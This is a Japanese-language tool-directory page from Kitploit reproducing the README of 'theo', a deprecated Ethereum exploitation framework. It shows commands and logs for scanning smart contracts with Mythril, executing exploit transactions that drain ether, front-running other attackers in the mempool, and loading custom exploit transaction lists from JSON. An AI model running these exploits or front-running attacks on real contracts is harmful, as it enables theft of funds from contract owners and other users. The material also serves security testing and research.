Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
theo — イーサリアムの偵察およびエクスプロイトツール。 | Kitploit
ツール/GitHubGitHub/cleanunicorn/theo
ペネトレーションテストフレームワーク偵察エクスプロイトフレームワーク脆弱性分析
GitHubcleanunicorn/theo

theo

イーサリアムの偵察およびエクスプロイトツール。

リポジトリを見る
3489371年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Theo

廃止されました。もうメンテナンスされていません。インストールしないでください。使用しないでください。警告しましたよ!

License CircleCI Codacy Badge PyPI Code style: black

Theoは、エクスプロイトフレームワークであり、ブロックチェーンの偵察および操作ツールを目指しています。

機能:

  • スマートコントラクトの自動スキャンにより、可能なエクスプロイトのリストを生成します。
  • スマートコントラクトをエクスプロイトするためのトランザクションを送信します。
  • トランザクションプールのモニター。
  • Web3コンソール
  • フロントランニングおよびバックランニングトランザクション。
  • トランザクションのリストを待機し、他のトランザクションを送信します。
  • トランザクションのガス見積もりにより、成功するトランザクションのみが送信されます。
  • ガス見積もりを無効にすると、固定ガス量でトランザクションが送信されます。

彼は仕事でKarlを知っています。

Theoの目的は、リークハッカーになろうとするスクリプトキディと戦うことです。彼は彼らが自分のハニーポットをエクスプロイトしようとするのを聞き、彼らの資金を失わせ、自分の利益を得ることができます。

「私を連れてきたのは、私の魅力的な性格のせいじゃない。」

インストール

TheoはPyPIパッケージとして利用可能です:

root@kitploit:~
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

ソースからインストール

root@kitploit:~
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

必要条件:

  • Python 3.5以降。
  • RPCが利用可能なEthereumノード。テストやエクスプロイトの検証にはGanacheが非常に適しています。

デモ

エクスプロイトを見つけて実行

スマートコントラクトをスキャンし、エクスプロイトを見つけ、それを実行します:

  • ローカルのEthereumノードとしてGanacheを起動
  • 脆弱なコントラクトをデプロイ(別のウィンドウで実施)
  • エクスプロイトをスキャン
  • エクスプロイトを実行

asciicast

被害者をフロントラン

ハニーポットを設定し、ハニーポットをデプロイし、攻撃者を待ち、フロントランします:

  • ローカルのEthereumノードとしてgethを起動
  • マイニングを開始
  • ハニーポットをデプロイ
  • Theoを起動し、メモリプールをスキャンしてトランザクションを監視
  • 攻撃者をフロントランし、彼のイーサを盗む

asciicast

使い方

ヘルプ画面

最初にヘルプ画面を確認することをお勧めします。

root@kitploit:~
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

シンボリック実行

エクスプロイトのリストは、mythrilを使用して自動的に識別されます。

セッションを開始するには、次のコマンドを実行します:

root@kitploit:~
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>> 

コントラクトを分析し、利用可能なエクスプロイトのリストを見つけます。

見つかったエクスプロイトを確認できます。この場合、1つのエクスプロイトが見つかりました。各エクスプロイトはExploitオブジェクトです。

root@kitploit:~
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

エクスプロイトの実行

エクスプロイトの手順は、エクスプロイトオブジェクトに対して.execute()を呼び出すことで実行できます。トランザクションは署名され、接続しているノードに送信されます。

root@kitploit:~
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

フロントランニング

フロントランニングモニターを起動して、他のハッカーがハニーポットをエクスプロイトしようとするのを監視できます。

.frontrun()を使用してエクスプロイトのリッスンを開始し、見つかった場合により高いガス価格でトランザクションを送信します。

root@kitploit:~
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined 

「なんてこった!クォーターバックがおしまいだ!」

これは特別に細工されたコントラクトや他の脆弱なコントラクトに対して非常に効果的です。ただし、フロントランニングが自分に有利になるようにしてください。

ファイルからトランザクションを読み込む

mythrilでエクスプロイトを特定する代わりに、自分でエクスプロイトのリストを指定することもできます。

次のようなexploits.jsonファイルを作成します:

root@kitploit:~
[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

これは2つのエクスプロイトを定義しており、最初のものは2つのトランザクション、2番目のものは1つのトランザクションです。

次のコマンドで読み込みます:

root@kitploit:~
$ theo --load-file=./exploits.json

トラブルシューティング

openssl/aes.h: No such file or directory

このエラーが発生した場合、libsslのソースライブラリが必要です:

root@kitploit:~
    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

Ubuntuでは次のコマンドでインストールできます:

root@kitploit:~
$ sudo apt install libssl-dev
ツールをダウンロード